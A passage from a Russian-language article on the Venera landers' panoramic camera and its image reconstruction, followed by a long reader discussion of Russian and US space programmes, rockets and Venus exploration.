Пучок лучей от поверхности, проходя через иллюминатор, становится расходящимся в сагиттальном сечении, так как иллюминатор представляет собой цилиндрическую линзу (см. фотографию выше). Расходящийся пучок падает на сканирующее зеркало и, отражаясь от него, попадает на компенсирующую цилиндрическую линзу, передний фокус которой совпадает с задним фокусом иллюминатора. После линзы пучок снова становится параллельным и, отражаясь от поворотного зеркала, проходит через объектив с фокусным расстоянием 28 мм и относительным отверстием 1:2. В плоскости изображения стоит диафрагма, которая является развертывающим элементом, формирующим апертурную характеристику камеры. После диафрагмы пучок попадает на светоприемник. На время обратного хода строчной развертки световой поток перекрывается гребешком обтюратора. В это же время фотодиод засвечивается лампой накаливания через отверстие на обтюраторе и формирует электрический импульс начала обратного хода. Во время обратного хода происходит калибровка прибора. Для этой цели свет от лампы, яркость которой стабилизирована, с помощью световода подается на светоприемник.

Сканирующее зеркало совершает колебательное движение (строчная развертка), отклоняя световые пучки на угол ±20° с линейной угловой скоростью и обратным ходом, составляющим 10% от периода строки. Одновременно сканирующее зеркало поворачивается вокруг оси панорамирования. Конструкция камеры позволяла производить полный панорамный обзор в угле 360°, однако поле зрения, не закрытое элементами самого аппарата, составляет величину, примерно в два раза меньшую, поэтому панорамная развертка ограничена углом 180±4°.

Приводом оптико-механической части служил двигатель постоянного тока, скорость вращения которого стабилизирована с помощью сервосистемы с опорой на частоту, подаваемую от бортового хронизатора. Номинальной угловой разрешающей способности 21' соответствует четкость в 115 элементов в строке, которая ограничивалась не апертурной характеристикой камер, а частотой дискретизации видеосигнала (в строчном направлении) и заданным шагом панорамной развертки. При угловом разрешении 21' в ближней зоне могли быть обнаружены детали поверхности с размерами около 10 мм, а достоверно должны были различаться детали, имеющие размеры в несколько раз больше. Объективы камер были настроены на гиперфокальное расстояние, благодаря чему можно получить резкое изображение предметов, находящихся на расстоянии 800 мм и далее от иллюминатора, т. е. во всех зонах панорамного обзора, включая край посадочной платформы.

Основные параметры камеры:
Число элементов в строке (без обратного хода) 115
Число строк в панораме 517±13
Число элементов в обратном ходе 13
Время передачи строки, с 3,5
Время передачи панорамы, мин 30±0,9
Диапазон передаваемых плотностей 0-1,2 (1‚5)
Число уровней квантования видеосигнала 64 (6 бит)
Масса камеры, кг 5,8 (в том числе соли лития — 2,1 кг)
Потребляемая мощность, Вт 5
Все приборы посадочного аппарата, в том числе и панорамная камера, работали в автоматическом режиме и управлялись программно-временны́м устройством, которое после посадки подавало на камеру команду на включение. После этого собственная автоматика камеры производила включение и выключение осветителей в заданных секторах обзора и реверсирование развертки по достижении камерой крайних положений угла панорамирования. С выхода камеры видеосигнал подавался на кодирующее устройство и далее на передатчик. Каждые 4 минуты видеосигнал прерывался, так как в канал связи поступала телеметрическая информация со всех научных приборов аппарата. А поскольку панорамная развертка в это время не прекращалась, это приводило к потере 4-5 строк изображения на каждый цикл измерений. В это же время передавалась следующая информация о работе камеры: изменение уровня автоматической регулировки чувствительности, изменение азимутального угла, наличие строчной развертки, наличие видеосигнала, моменты включения и выключения осветителей, температура камеры.

Вот так выглядела необработанная панорама:



После устранения шумов данная панорама стала выглядеть так:



Некоторыми любителями были найдены пленки с необработанными 6-битными данными, по которым они самостоятельно проводили реконструкции. Наиболее известна работа Дона Митчела:



Им же проведена работа по реконструкции снимков «Венеры-10», «Венеры-13» и «Венеры-14».

А закончить свой рассказ я бы хотел впечатляющим цветным изображением с «Венеры-13». Хочется искренне верить, что тот прорыв, который советская школа сделала в космонавтике, несмотря на частые неудачи, не забудется и новое поколение российских ученых внесет не меньший вклад в дело изучения космоса.



P.S. Для всех интересующихся очень рекомендую сайт Дона Митчела, который не только обработал первоначальные фотоснимки Венеры, но и собрал массу уникальной информации о советских космических аппаратах и их научном оборудовании.
ideator
Дико грустно конечно. Сложно предположить, когда мы выйдем на подобный уровень.
Rezzet
Россия в этом году собирается запустить ракет в космос больше чем весь остальной мир вместе взятый. Это конечно не такое достижение как первые снимки с другой планеты, но это говорит что Россия по прежнему занимает лидирующие позиции. Мы насколько знаю сейчас ведем разработку первой модульной ракеты (Ангара), а это то же прорыв своего рода. Сейчас в оборонку и космос снова начали вливать деньги, так что думаю скоро можно ждать новых амбициозных проектов.
pavlovmc
На сколько мне известно Ангару разрабатывают уже больше 10 лет, и это больше похоже на топтание на месте, чем на разработку.
Rezzet
Наверно вопрос что и как называется каждый решает сам, но все-таки строительство нового космодрома( Восточный), стартовой площадки в Плесецке( sdelanounas.ru/blogs/34414/ ), и отправка готовой ракеты на космодром для испытаний и подготовки к старту(http://sdelanounas.ru/blogs/33952/) сложно назвать топтанием на месте.
naum
Некоторые, вон, игры разрабатывают по 10 лет, а вы про Ангару говорите.
AdamZ
Обычные запуски космических ракет ракет на околоземную орбиту, как бы не было велико их число, не представляют научной ценности, учитывая, что технологически сами эти ракеты мало изменились со времён Королёва.
Rezzet
Они так же мало изменились как автомобили с времен Генри Форда.
А научную ценность ракеты действительно не представляют, представляет то что они выводят, например Радиоастрон, Бион, Коронас-Фотон.
Kamalesh
Кстати, если Вы располагаете информацией, было бы здорово написать полноценный пост о последних достижениях российской космонавтики. Во-первых, стало бы куда меньше замечаний из серии «а вот у них там», а во-вторых, ну ведь на самом деле в нашей прессе почти ничего нет, кроме неудач!
AdamZ
А кто вам сказал, что в космической отрасли такого нет? Сейчас космический аппарат способен развить скорость до нескольких десятков тысяч км в секунду (по сравнению с начальной первой космической скоростью 7,9 км/с). К примеру с помощью фотонного паруса.
Другое дело, что как и в автомобилестроении никто не будет реализовать подобные проекты без определенной конечной цели.
darkalexey
Со времен Форда, компьютеры ускорились на несколько порядков. Форду с его машиностроением, такие показатели даже не снились.
Deesy
Вы очень ловко манипулируете фактами, сравнивая серийные автомобили (Видимо, Ford Model T) с машинами, созданными специально для установки рекордов.
Во времена Форда (условно 1900-1930) рекорды скорости на автомобиле перешагнули планку в 300 км/ч.
Т.е. рост за век менее чем на порядок. Можно сказать автомобилестроение топчется на месте в плане рекордов скорости.

Если же сравнить рост средней скорости гражданских автомобилей по дорогам общественного пользования, прогресс будет еще более скромным.
ncix
Да, в ракетостроении все довольно запущено. Причем не только в этой стране, согласитесь. Тем не менее это не оправдывает манипуляцию фактами.

Сейчас появилась какая-то надежда в свете прихода частных компаний в отрасль. Но да, тренд таков, что поезд стремительно уходит. Ангара конечно полетит (я надеюсь), но сесть в этот поезд она нам не поможет, частный бизнес всегда эффективнее государственного.
AdamZ
Сейчас появилась какая-то надежда в свете прихода частных компаний в отрасль.

А вот я что-то потерял надежду, когда узнал, что американский частный космос очень активно использует запасы советской космической техники. Т.е. нового они ничего не придумали, а просто используют уже существующие наработки прошлого века.
ncix
Я сейчас не могу найти какая именно компания и какой двигатель использовала, но насколько я помню это один проект одной единственной компании. Тот же SpaceX летает на своих.

Т.е. нового они ничего не придумали, а просто используют уже существующие наработки прошлого века
Ну вы утрируете как всегда. Использовали только двигатель, радикально сократив затраты на разработку ракеты. Тем более двигатель выдающийся. Опять же это говорит о том, что советские двигатели до сих пор по каким-то важным показателям превосходят современные зарубежные аналоги. Если она полетит и принесет денег — их инвестируют в новые двигатели. Это бизнес. Автопроизводители тоже очень часто используют чужие двигатели, ничего в этом плохого нет.

Или вы предлагаете перечеркнуть богатейших инженерный опыт 20 века и начать все с чистого листа?
Shpankov
Частный бизнес показал свою несостоятельность в момент создания государственной NASA для создания прорывных технологий. Такая уж у бизнеса фактура, вкладываться в улучшение технологии по чуть-чуть в установленное время это без проблем. Но придите и скажите любому банкиру или бизнесмену что вы хотите непонятно сколько денег ( но точно много ), непонятно на какой период, для изобретения непонятно точно чего ( и вообще неясно получится ли) и вы с огромной вероятностью получите отказ. Поэтому почти все фундаментальный прорывные исследования — это государственный удел. Когда-то бизнес почти был готов финансировать научные авантюры, это был бурный рост бизнеса и денег хватало всем и под все, тогда были Bell Labs, но сейчас это стало невыгодно и их закрыли. Бизнес мыслит выгодой. Положите деньги в банк и вы получите 1-12% роста своего капитала (в зависимости от страны и валюты), и это самое худшее что можно сделать с деньгами, остальное баланс между риском и прибылью, но в фундаментальных исследований риски невероятно большие.
ncix
А как же SpaceX? Tesla Motors? Даже Гугл с его высокотехнологичными начинаниями, вроде беспилотных авто?

Это очень рисковые затеи, куда безопаснее и выгоднее было положить потраченные бабки на депозит.

Но придите и скажите любому банкиру или бизнесмену что вы хотите непонятно сколько денег ( но точно много ), непонятно на какой период, для изобретения непонятно точно чего ( и вообще неясно получится ли) и вы с огромной вероятностью получите отказ
С такими запросами и любое государство откажет. Нужно точнее формулировать цели.

Если уж на то пошло, государства тоже просто так деньги не тратят. Просто масштаб и качество «прибыли» ожидается несколько иной — макроэкономические, политические, социальные выгоды.
Shpankov
SpaceX — не сильно в теме, но там вроде деньги NASA участвуют, то ли тендер, то ли грант.
Tesla Motors — а что рискованного в электромобилях и прорывного, их даже Автоваз выпускает ( ru.wikipedia.org/wiki/EL_Lada ). Беспилотные авто, это вполне укладывается в улучшение технологии по чуть-чуть. Это же не антиграв, а всего навсего автопилот для машины, в Су-35 то же стоит автопилот который может привести истребитель домой и посадить его в случае если с пилотом что-то случилось. Тема автопилотов, машинного управления разрабатывается давно. И Гугл тут далеко не первопроходец. Конечно это не значит что Гугл ничего не делает. Идет оттачивание технологии, но прорывным это назвать сложно. Прорывное это когда даже до конца не понимаешь что хочешь сделать. То что сформулировать толком тяжело. Термоядерный синтез, антигравитация, полет к другим звездам, полупроводник.
Rezzet
Прорывное это когда даже до конца не понимаешь что хочешь сделать. То что сформулировать толком тяжело.
У вас очень странное отношение к фундаментальной науке.
ncix
2ncix: знали бы вы, как изобрели транзисторы…
Rezzet
Простите, не посмотрел, что отвечаю уже другому человеку
ncix
особого стимула нет для крупных держав развивать дальний космос
И что же делать, если стимула нет?
int_0x80
Химические ракеты топчутся на месте не потому, что стимулы или нет, а потому, что достигли своего теоретического предела. Можно лишь слегка удешевить производство, уменьшить издержки за счет многоразовости и т.п., но фундаментального ограничения — формулы Циолковского — не обойти: основная часть топлива в химической ракете нужна для того, чтобы везти топливо. Поэтому химические ракеты всегда будут большими, дорогими, и едва-едва достаточными по скорости.

А ядерные РД — увы, фантастика в теперешнем обществе, при нынешнем-то отношении к ядрёным технологиям и их распространению. Поэтому единственная надежда — на безракетные варианты, как фантастичны бы они ни выглядели (электромагнитная «суперпушка», петля Лофстрома, даже, чему шут не чертит, космический лифт). Авось кто-нибудь из тех же частников раскрутится достаточно, чтобы поэкспериментировать на эту тему…
ncix
А может и не совсем фантастика.
AdamZ
Это уже на орбите и дальше. А я про выход на орбиту с Земли.
ncix
В общем-то весь квест и начинается для «на орбите и дальше». Химических двигателей более-менее хватает для вывода всего потребного на орбиту, пусть и по многопусковой схеме. А вот запуск зондов к внешним планетам, например, сопряжен с необходимостью довольно долго туда добираться. Вариантов с хорошим удельным импульсом два — ионники и ядерники. У первых при этом копеешная тяга, что в масштабах солнечной системы (и особенно — полетов к планетам-гигантам) не дает огромного преимущества перед инерционным полетом.
SelenIT2
Химических двигателей хватает, потому что ничего другого нет и приходится изначально планировать миссии под это ограничение («по одежке протягивать ножки»). На орбите-то и ядерные реакторы уже бывали (и, насколько я в курсе, до сих пор хранятся на орбитах захоронения). Но именно потому, что ради вывода каждого килограмма приходится гонять многотонную дорогущую одноразовую дуру, даже собрать что-либо серьезное, пусть и по многопусковой схеме, до сих пор проблематично…
spacediver
Серьезно увеличивать потребную массу выводимого груза потребуется, в основном, для задач ранней колонизации, когда за сравнительно короткий промежуток времени нужно будет доставлять тысячи тонн хотя бы к ближним планетам. Сейчас ЯРД как минимум был бы интересен для более «частых» визитов к Марсу (не дожидаясь пусковых окон) и запуска более «быстрых» зондов к Юпитеру и Сатурну — и вот эти две задачи, в общем-то, вполне решаемы на текущем техуровне, но не на химических двигателях.
SelenIT2
Не то вы считаете. Основная задача ракеты — вывести полезный груз на орбиту. Р-7 выводила 500-1500 кг, Энергия — 105 000 кг. Прирост до 200 раз!
Rascko
Учитывая, что ракеты семейства Р-7 ещё при Королёве выводили на орбиту спутники и космические корабли, то масса выводимой ими полезной нагрузки была существенно выше чем 1,5 тонны. Даже первые ракеты Р-7 способны были выводить не менее 4,5 тонны. А ракета Н-1, проектирование которой началось ещё при Королёве — аж 75 тонн!

П.С. «Энергия» не летает уже 25 лет.
SelenIT2
Я про 8К71ПС и 8А91
Rascko
Справедливости ради, «Сатурн-5» уже в 1968-м выводил заметно больше 100 тонн, и в общем-то его рекорд пока не перебит (теоретически могла всё та же «Энергия» в варианте «Вулкан», но... «не получилось, не фартануло» ©). Просто вектор развития космонавтики плавно ушел от дальних пилотируемых миссий (где требовалось много массы сразу) к автоматике, которая поддается миниатюризации, и сверхтяжелые носители оказались не особо востребованы. Возможно, сейчас, в свете проектов по перетягиванию астероидов и т.п., спираль истории опишет новый виток.
VolCh
Вопрос не в том, сколько будет запущено ракет/спутников/исследовательских аппаратов. А в том, сколько из них долетят / не потеряются / передадут полезные данные. Важны не расходы, а «доходы».
А история с Фобосом показала, что пока что в этой области нашей новой стране еще работать и работать.
AdamZ
Я так понимаю, минусующие могут вспомнить хотя бы что-то приближенное к Куриосити у нас за последние 23 года? Кроме МКС, над которым работало 15 стран.
Вывод спутников ГЛОНАСС — это не достижение, уж извините. Я говорю о реальных открытиях и исследованиях.
VolCh
Радиоастрон вроде самое высшее достижение российской космонавтики на сейчас. Должен был быть ещё Фобос-Грунт, но не срослось.
SelenIT2
«Фобос-Грунт» слишком уж дерзко замахнулся. Единственный пока какой-никакой аналог такой миссии — японская «Хаябуса» — тоже прошел «на соплях», дважды чуть не потерялся и вместо весовых количеств астероидного грунта привез считанные пылинки. Обидно было, конечно, потерять такой аппарат в самом начале, причем после идеального выхода на орбиту… но неудачи бывают у всех, а с Марсом — и подавно.
darkalexey
Ну «дерзко» можно было бы сказать, если бы он сломался где-то в окрестностях Марса, а так, насколько я понял, не сработала уже много раз отработанная операция, которая могла произойти и с любым другим аппаратом, но Фобусу банально не повезло.
darkalexey
Я имел в виду сам замысел — возвратная межпланетная миссия с забором инопланетного грунта с твердого тела. До сих пор такое делалось только с Луной, но это совсем другой уровень сложности. Ну и упомянутая «Хаябуса», но и там успех от силы частичный.
VolCh
Тот самый Радиоастрон, который называли российским Хабблом, запущенным 21 годом ранее?
SelenIT2
Называли в том смысле, что его технические характеристики открывают такие же возможности для радиоастрономии, какие Хаббл открыл для оптической. Прямых аналогов пока нет ни у того, ни у другого.
VolCh
То есть, я правильно понимаю, что у нас есть Радиоастрон против Хаббла, Куриосити, Ориона, Аресов, разработки программ колонизации луны и Марса и прочих программ НАСА? Как я уже и сказал — небольшая «выгода», да еще курьез с Фобосом.
И количество запускаемых в год ракет-носителей у нас состоялось и состоится.
SelenIT2
Вообще проводить границы в космосе — дело неблагодарное. Масса программ у НАСЫ (тот же Кассини) совместная с европейцами. На том же Кьюриосити вовсю работает российский прибор ДАН: в чью науку это вклад — российскую, американскую, мировую? На МКС вроде как есть российский и американский секторы, но экипажи совместные, летают на российских кораблях, ходят друг к другу в гости, вместе решают технические проблемы всей станции. И так далее.

А планов громадьё насчет Луны и прочего есть и у НАСА, и у Роскосмоса, и у китайцев с индусами. Но прожекты прожектами, а реальность всё равно внесет свои коррективы, как обычно…
darkalexey
Ну не знаю, я за последние годы не раз слышал о различных открытиях, наблюдениях и публикациях по космической теме, сделанных там и практически ничего — у нас. Не пробовал, но не уверен, что целенаправленный поиск изменит ситуацию.
Так что все еще считаю, что количество запусков в год — это никак не аргумент в пользу лидирующих позиций в области. В Китае выпуск телефонов тоже самый высокий, но разработки-то чьи, кто область-то двигает вперед? Аналогично и тут.
SelenIT2
У России космические разработки свои. :)
darkalexey
Может в том и беда, что принцип NIH если не доминирует, то сильно чувствуется?
SelenIT2
Давайте разберемся с утверждением «созданные еще Королевым», разве Королев сам создал ракету? Ракета Союз берет свое начала от межконтинентальной Р-7. Если посмотреть историческую справку, то мы узнаем:" К работе привлекались ОКБ-456 (В. П. Глушко), НИИ-885 (М. С. Рязанский, Н. А. Пилюгин), НИИ-3 (В. К. Шебанин), НИИ-4 (А. И. Соколов), ЦИАМ, ЦАГИ (А. А. Дородницын, В. В. Струминский), НИИ-6 (Воротов), НИИ-125 (Б. П. Жуков), НИИ-137 (В. А. Костров) и НИИ-504 (С. И. Карпов), НИИ-10 (В. И. Кузнецов) и НИИ-49 (А. И. Чарин), математический институт им. А. Н. Стеклова (М. В. Келдыш) и др." А это сотни, если не тысячи людей без которых ракета бы не появилась. А это уже переводит заслугу создания ракеты из личной Королева в заслугу всего народа и страны.
Теперь рассмотрим эволюцию ракеты. Подробно можно почитать на той же википедии, но кратко менялись двигатели, разгонные блоки, системы управления, системы подготовки к старту ( ведь ракета это не вещь в себе, это все начиная от завода сборки, кончая уборщицей протирающей пульт контроля полета, это огромный комплекс). Последней итераций на данный момент является Союз-2.1в, эта разработка ещё не завершена, сказать сколько там осталось от первоначального «проекта Королева» тяжело, тем более мне.
Ангара на данный момент является собранной ракетой, готовой к запуску и доставленной на космодром, по моему называть это «бумажной ракетой» попахивает шапкозакидательством и дилетантством.
darkalexey
Хотите, возьмем для примера США, возьмем для начала подсчета один и тот же 1957 год, и посчитаем, сколько конструкций ракет было разработано там и здесь? Включая «эволюции».

Ангара на данный момент является собранной ракетой

Так у нас и Сколково — действующий научный центр, практика подобных показух в России идет со времен Потемкина и его новороссийских деревень.
ansl
Вы бы не рассуждали о том, о чем не имеете понятия, а?
VolCh
О чем из двух (трех) тем я не имею понятия, по вашему?
track
О сколково и разработках.
Rezzet
Однако, у вас очень удобная позиция, всегда и на все говорить не полетит/ не заработает/не сделают, ведь в случае неудачи будет красиво звучать: «ну я же говорил», это несомненно поднимет вам самооценку. А в случае удачи всегда можно сказать: «ну это частный случай который ничего не меняет». Но когда вы пытается поставить клеймо на различных инициативах государства, вы забываете что существует огромная связь между государством и его народом, кто-то из великих сказал что у каждого народа такие правители которых этот народ заслуживает. Именно поэтому американец никогда не будет позорить ничего американского, даже если это американское пришло к нему в дом и выкинуло его на улицу. И именно поэтому очень странно слышать такое о моих соотечественников, получается что они таким образом сами на себе клеймо ставят, к сожалению этот образ не новый и давно был описан классиками в виде унтер-офицерской вдовы которая сама себя высекла.
track
Однако, у вас очень удобная позиция

Это не позиция. Это жизненный опыт, увы.

вы забываете что существует огромная связь между государством и его народом

ORLY?

Именно поэтому американец никогда не будет позорить ничего американского

Эдвард Сноуден?

vvzvlad
Я не думаю, что Эдвард Сноуден когда-либо относился с отвращением к своей стране и он, насколько это может быть известно, не придумывал «смешных» прозвищ для своей страны или президента. Он лишь показал, что некоторые специальные службы в его стране превышают свои полномочия и нарушают законы его страны. Почувствуйте разницу.
track
> И именно поэтому очень странно слышать такое о моих соотечественников, получается что они таким образом сами на себе клеймо ставят

У нашего действующего министра культура есть отличная серия книг про Россию. В первом томе он как раз поднимает эту тему — тему раскола начатую Петром I. Есть народ, а есть т.н. «русский европеец», которому приходится жить в «этой стране» с «этим народом». Как там Иван Бунин писал: «Голоса утробные, первобытные. Лица у женщин чувашские, мордовские, у мужчин, все как на подбор, преступные, иные прямо сахалинские. Римляне ставили на лица своих каторжников клейма: „Cave furem“ (осторожно: вор). На эти лица ничего не надо ставить, и без всякого клейма все видно». Это практически классический пример. Человек не себе клеймо ставит, оно для нас, остальных. Ибо в этой стране, с этим народом, и этой власть — ничего быть не может, не было и не будет :)
vvzvlad
Именно поэтому американец никогда не будет позорить ничего американского, даже если это американское пришло к нему в дом и выкинуло его на улицу.
Американцы, как правило, очень четко разделяют страну и правительство. Они, конечно, уверены, что любое другое враждебное правительство хуже их родного, но при этом понимают, что президент, конгресс и прочия — это наемные служащие, а не мелкие феодалы.
Rezzet
" конгресс и прочия — это наемные служащие, а не мелкие феодалы."
Ну да, только не народа, а банковской системы для обслуживания её аппетитов.
track
А это, на самом деле, не так принципиально для «простого народу». Тем более, что значительная часть людей сама была бы не против присоединиться к этой самой системе.

А вот прямое и декларативное объединение крупного бизнеса и власти, да ещё и декларирующее, дескать «государство — это я» — такое не очень будет оценено в практически любой западной стране и особенно — в США. Грубо говоря, известную библейскую трактовку про «всякую власть от бога» они трактуют примерно так — от бога тут институт президентства, но вот этот конкретный товарищ тут нашей волей, а не небесной.
ansl
И, если я не ошибаюсь, первая ступень ракеты была протестирована в составе южнокорейского носителя «Наро» (KSLV)?
int80h
Первая ступень — не ракета.
Rascko
> первой модульной ракеты (Ангара)
ru.wikipedia.org/wiki/Энергия_(ракета-носитель)
«Стартовая масса «Энергии» — около 2400 тонн. Ракета (в варианте с четырьмя боковыми блоками) способна вывести на орбиту около 100 тонн полезного груза — в 5 раз больше, чем эксплуатируемый носитель «Протон». Также возможны, но не были испытаны, варианты компоновки с двумя («Энергия-М»), с шестью и с восемью («Вулкан») боковыми блоками, последний — с рекордной грузоподъёмностью до 200 тонн.»
Rezzet
Ракеты ракетами, но в данном случае речь идёт о межпланетных станциях. У России их нет уже несколько десятков лет. А у США, между тем, несколько ползает по Марсу и ещё несколько летает за его пределами.
Rascko
первой модульной ракеты
Первой отечественной и серийной модульной ракеты. Концепция с боковыми блоками, аналогичными первой ступени, уже несколько лет используется на тяжелой «Дельте-4».
AlexDodonov
Россия в этом году собирается запустить ракет в космос больше чем весь остальной мир вместе взятый.


Ну что, запустит, как вы думаете? ;-}

PS. «А как дышал, как дышал!»
track
А где-нибудь кроме сайта Международного Центра Рерихов про это переоткрытие можно почитать?
kaichou
Например, в «Науке и жизни», откуда рерихоиды эту статью и передрали (причем практически честно, даже ссылку на конкретный номер поставили). Или в «Астрономическом вестнике». Другое дело, что научная реакция на эту статью действительно была, мягко говоря, осторожной:). Но хотя бы проверять те ссылки, что явно указаны сразу над названием, прежде чем навешивать ярлыки, имхо, желательно…
red_andr
Спасибо. Вот же-ж до чего Интернет разбаловал: позабыл, что ссылки бывают не гипер-, и не обратил внимания на две (для верности что-ли?) ссылки — в начале и в конце статьи. От научной реакции грустно: ну не укладывается у меня в голове, почему Учёные калибра Ксанфомалити под старость начинают вот такие «открытия» при помощи MS Paint делать. :(
Rascko
Как я понял, там софт посерьезнее, чем Paint. И в формулировке из «Вестника» (поиск формулировки признаков живого в неведомых условиях, когда изначально абсолютно неизвестно, что мы ищем и на что оно может быть похоже) эта работа не так уж бессмысленна — это действительно неплохой тест наших представлений о внеземной жизни на «ложные срабатывания».

Правда, тема венерианской жизни у него, похоже, проходит через многие публикации с очень давних времен (когда в шутку, когда будто и не совсем). Но, к примеру, открытие микроорганизмов в толще земной коры тоже перевернуло многие представления о возможном и невозможном для живого… так что продолжать исследовать Венеру надо в любом случае! :)
track
По вашей ссылке читаем (жирным выделено мной):
Необходимо подчеркнуть, что в настоящей работе при обработке исходных изображений какие либо ретуширование, дорисовывания, дополнения, или корректировка изображений полностью исключались. Также категорически исключалось применение любой версии программы Photoshop. Где необходимо, фрагменты первичного изображения представлены вместе с обработанными версиями для сравнения. При необходимости контрастность и яркость изображения корректировались. Если структура шума позволяла, можно было применить операцию “размытие” вместе с низким уровнем “повышения резкости” стандартной программы Microsoft Office системы Windows.
Не Paint, а графический редактор из Office-а. Но от этого не легче. Вероятно, человек просто не совсем понимает фундаментальных принципов цифровой обработки изображений (я так понял, он больше по оптике спец), и поэтому искренне считает что Photoshop — это «дорисовывание», а «повысить резкость» в Office-овском редакторе — тождественно настройке резкости в фотоувеличителе. По поводу же «белкового шовинизма» когда речь идёт о внеземной жизни — согласен на 100% с тезисом о том, что внеземная «жизнь» никому не обязана быть непременно и исключительно белковой-кислорододышащей!
Ndividuum
Действительно, был неправ, моя невнимательность, прошу прощения. Мне в память запала диаграмма попиксельного сравнения яркостей панорам (из статьи на planetary.org) и я почему-то решил, что именно так искал «изменения» между кадрами сам Ксанфомалити, а это, оказывается, Дон Митчелл делал…
menraen
В 2014 году будет запущена «Венера-Д». Самостоятельно почитайте про этот проект. Не всё так плохо
SelenIT2
Сроки сдвинуты на 2020-2025 годы (источник). К сожалению, официальный сайт проекта вообще ничего не говорит о сроках.
menraen
Больше всего печалит именно скорость создания спутников в современной России. И не только спутников — тут и строительство военной техники затягивается до невозможности.
11 лет на аппарат — это просто смешно, за такое время уже и элементная база может успеть смениться.
Причин тут две.
Первая — невероятная, фантастическая забюрократизированность Роскосмоса. Если во времена Королёва техническая документация помещалась на одном листе A4, то теперь это целые стеллажи бумажек. И на каждую бумажку надо собрать уйму подписей, причём те, кто должны подписываться, ещё и в разных городах сидят.
Ну, а на электронный документооборот там перейдут уж точно не раньше, чем на Марсе расцветут яблони.
Вторая причина — невероятное, дикое затягивание с финансированием. Ну, собственно, это не только в Роскосмосе такое, это вообще происходит всегда, когда в проекте участвуют московские госконторы (то же самое и в оборонке, и при освоении грантов с участием москвичей происходит).
Аппарат уже должен быть готов, а на деле работы и не начинались, потому что денег всё ещё не выделено. А потом, когда финансы всё-таки выделяются и распределяются, оказывается, что все сроки давно сорваны и надо действовать в авральном темпе (отсюда и косяки в конструкции, которые потом выливаются в отказы аппаратов).
Ну, а после каждой неудачи что происходит? Правильно, создаётся ещё больше комиссий. Как будто тех паразитов, что уже есть, недостаточно. Естественно, бумажек надо заполнять ещё больше, времени на работу остаётся ещё меньше, и нервы у работников ещё сильнее издёрганы. А значит, шанс накосячить только возрастает. А если случится отказ — привет очередная комиссия по контролю за контролем над контролем контроля работников.
Пока количество чиновников и всяких уродских комиссий не уменьшится хотя бы вдвое, а деньги не начнут переводиться вовремя и в полном объёме, о нормальной космической программе можно и не вспоминать — Роскосмос будет на грани комы.
SelenIT2
Обычно такие сроки говорят о том, что руководство проекта выбрало для реализации «метод Ходжи Насреддина» в его практике изучения ишаком грамоты. За 11 лет и нынешних людей в руководстве не будет (с кого спрашивать за провал? Вот с них и спрашивайте), приоритеты космонавтики запросто могут поменяться, да и, вполне вероятно, и страны такой уж не будет.
menraen
>Подождите, к теме космонавтики еще вернуться.
Хорошо, мы подождём пока вы разберётесь с тся\ться…
SelenIT2
Это был приказ.
VitaZheltyakov
Приказ?
Гм. Так что делать-то? Ждать или возвращаться?
Kamalesh
Не флудить на хабре, вот что делать.
Alexey2005
Подождите возвращаться.
track
Если коротко, то Венеру изучают за тем же, зачем изучают Марс, Луну, отправляют «Вояджеров» и «Новые горизонты» — это фундаментальные знания об истории образования и развития условий на планете. В глобальном плане нам необходимо понимать, можем ли мы расчитывать на обнаружение новых мест для переселения и где, собственно, их искать. Венера и Марс — ближайшие к нам планеты, а потому их комплексное исследование дает понимание процессов планетарной эволюции.

Ну а про текущие, политические цели, которые, возможно, стояли у истоков венерианских миссий, давайте не будем строить догадок: правды все равно не узнаем, а спекуляции на эту тему явно не нужны на Хабре.
lumega
Не могу утверждать, но, на мой взгляд, выбор Венеры был вполне прагматичным. Марс и Венера — две ближайшие планеты к нам. Марс меньше по размеру и, кроме того, даже визуальное наблюдение говорило, что атмосферы там нет (или очень разреженная). Венера укрыта плотным слоем атмосферы, таким образом, это был наиболее вероятный объект для поиска планет, пригодных для жизни человека. К сожалению, условия оказались совсем неподходящие. А представьте, как развивалась бы космическая программа сегодня и как выглядело бы человечество геополитически, окажись на Венере пригодные для жизни условия :)
AStahl
> А представьте, как развивалась бы космическая программа сегодня и как выглядело бы человечество геополитически, окажись на Венере пригодные для жизни условия :)
Также. Слишком дорого.
aronsky
Строго говоря, на Венере есть (условно-)пригодные для жизни условия. Даже возможность находиться без скафандра, с простой кислородной маской. В атмосфере, на высоте километров 50.
AStahl
Ну, т.е. устремления наших учёных на Венеру были таки не глупостью :)
itforge
С точки зрения перспектив пилотируемых экспедиций — похоже, что так:)
eugenius_nsk
Кстати, вспомнил, что даже когда-то читал про проекты венерианских научных станций, парящих в атмосфере на аэростатах и дирижаблях, но там была нерешённой проблема сильных ветров и ядовитых облаков.
SovGVD
Ветры, имхо, скорее союзники — благодаря суперротации атмосферы ночи будут не по 59 дней (как на поверхности), а всего по два. Да и серную кислоту отфильтровать (напр., осадив в виде нерастворимой соли), имхо, технически решаемо. В конце концов, есть же и успешный практический опыт обеих аэростатных миссий «Веги»
Kamalesh
В конце концов, есть же и успешный практический опыт обеих аэростатных миссий «Веги»…

Супер. Я как-то упустил эту информацию.
Shpankov
Предполагалось, что следующие войны будут идти на космическом фронте. Сейчас это скорректировано реалиями, но в глобальном плане вряд ли какой-либо крупномасштабный конфликт обойдётся без уничтожения космических аппаратов противника. Ибо мало кому хочется, чтобы чужие спутники показывали противнику не его военную мощь, обеспечивали его связью и т. п.
kaichou
но в глобальном плане вряд ли какой-либо крупномасштабный конфликт обойдётся без уничтожения космических аппаратов противника
Пока не преодолен фактор в виде огромных запасов ядерного оружия потенциальных противников, ни о каких крупномасштабных конфликтах речи идти не может.
SelenIT2
Ещё как может — только не там, где его могут применить. А вывести из строя, скажем, пару-тройку спутников GPS, обслуживающих территорию предстоящего конфликта — значит, лишить одну из сторон возможности применять высокоточное оружие, наводимое по GPS, а также некоторые разведывательные и ударные беспилотники. Спутники-шпионы на геостационарной орбите тоже соблазнительно зарубить.
Shpankov
Насколько я знаю в высокоточном оружии на GPS особо никто не полагается — его можно вывести и наземными генераторами помех. Обычно наводится комплексно, внешними и автономными инерциальными средствами.
SelenIT2
Если точка запуска, к которой можно привязаться и дальше использовать инерциальные средства, находится в безопасной зоне, то с генератора помех толку мало. Но дело не в этом, а в том, чтобы максимально осложнить работу тем, кто привык работать со спутниками и без этого уже не может. Даже обычную пешую группу в движении гораздо проще контролировать по GPS, чем по карте.
Shpankov
Статистика запусков за 2012 год.
1. Россия — 24 стартов, 1 частичная неудача.
2. Китай — 19
3. США — 13, 1 частичная неудача
4. Евросоюз — 10
Морской старт — 3
SelenIT2
